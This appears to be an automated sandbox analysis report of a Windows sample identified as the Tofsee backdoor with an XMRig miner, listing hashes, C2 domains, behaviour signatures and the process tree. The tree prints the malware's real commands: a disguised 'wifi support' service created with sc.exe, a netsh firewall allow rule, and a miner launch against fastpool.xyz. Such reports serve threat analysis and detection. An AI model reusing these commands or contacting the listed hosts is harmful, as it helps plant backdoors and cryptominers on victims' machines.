Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    17-04-2023 15:03

General

  • Target

    file.exe

  • Size

    213KB

  • MD5

    bedb55ac5c140a2a596d9fcbd822e5a6

  • SHA1

    cbd6195cb310f5e29c199c01180a424340266b80

  • SHA256

    45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07

  • SHA512

    be312de3dbf98fc18fabc2970ef13c14d291ed528b502f7937b2efd4491b2df5075ae31f878085af67c679099ebebefa9ea38ef086b4d7c4292a93e5c841d798

  • SSDEEP

    3072:QLw69nh47SsG97WGBbZrV8O38yLTMaOGpID5++qI7iMP:Ah47fKL58qjvMaH/k7iM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:820
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\acjlknux\
      2⤵
        PID:904
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ayijlhkq.exe" C:\Windows\SysWOW64\acjlknux\
        2⤵
          PID:568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create acjlknux binPath= "C:\Windows\SysWOW64\acjlknux\ayijlhkq.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1500
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description acjlknux "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start acjlknux
          2⤵
          • Launches sc.exe
          PID:1768
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:812
      • C:\Windows\SysWOW64\acjlknux\ayijlhkq.exe
        C:\Windows\SysWOW64\acjlknux\ayijlhkq.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:936
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1788
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:564

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ayijlhkq.exe
        Filesize

        11.2MB

        MD5

        cf6960bdefd0eaf4b3aaee43ee1ffc2a

        SHA1

        ef68ae63c77e93d269f692e16beedcd3cc7fffc5

        SHA256

        86d6b7320ff01adbcef6d10ae3b4838d63f4b561a86657d05ee1854556d217b2

        SHA512

        aa16ef8e147498c5484e7a9b37fa3ca66a6f0cc9611ea256aa6eda1f30f9673e26d4d81ff928e541a39b54395e310c32554883c879227334c8aa2d6224f8921c

      • C:\Windows\SysWOW64\acjlknux\ayijlhkq.exe
        Filesize

        11.2MB

        MD5

        cf6960bdefd0eaf4b3aaee43ee1ffc2a

        SHA1

        ef68ae63c77e93d269f692e16beedcd3cc7fffc5

        SHA256

        86d6b7320ff01adbcef6d10ae3b4838d63f4b561a86657d05ee1854556d217b2

        SHA512

        aa16ef8e147498c5484e7a9b37fa3ca66a6f0cc9611ea256aa6eda1f30f9673e26d4d81ff928e541a39b54395e310c32554883c879227334c8aa2d6224f8921c

      • memory/564-122-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/564-123-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/564-124-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/564-120-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/564-119-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/564-121-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/564-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/564-112-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/564-111-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

      • memory/820-58-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

      • memory/820-56-0x00000000002B0000-0x00000000002C3000-memory.dmp
        Filesize

        76KB

      • memory/936-67-0x0000000000400000-0x00000000004A2000-memory.dmp
        Filesize

        648KB

      • memory/1788-87-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-97-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-82-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-83-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-84-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-85-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-86-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-88-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-78-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-89-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-90-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-91-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-92-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-93-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-94-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-95-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-96-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-81-0x00000000000B0000-0x00000000000C0000-memory.dmp
        Filesize

        64KB

      • memory/1788-98-0x00000000000F0000-0x00000000000F5000-memory.dmp
        Filesize

        20KB

      • memory/1788-101-0x00000000000F0000-0x00000000000F5000-memory.dmp
        Filesize

        20KB

      • memory/1788-102-0x00000000059A0000-0x0000000005DAB000-memory.dmp
        Filesize

        4.0MB

      • memory/1788-105-0x00000000059A0000-0x0000000005DAB000-memory.dmp
        Filesize

        4.0MB

      • memory/1788-106-0x0000000000140000-0x0000000000147000-memory.dmp
        Filesize

        28KB

      • memory/1788-110-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1788-75-0x00000000000A0000-0x00000000000A6000-memory.dmp
        Filesize

        24KB

      • memory/1788-74-0x00000000019B0000-0x0000000001BBF000-memory.dmp
        Filesize

        2.1MB

      • memory/1788-71-0x00000000019B0000-0x0000000001BBF000-memory.dmp
        Filesize

        2.1MB

      • memory/1788-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1788-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1788-66-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1788-63-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1788-61-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1788-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB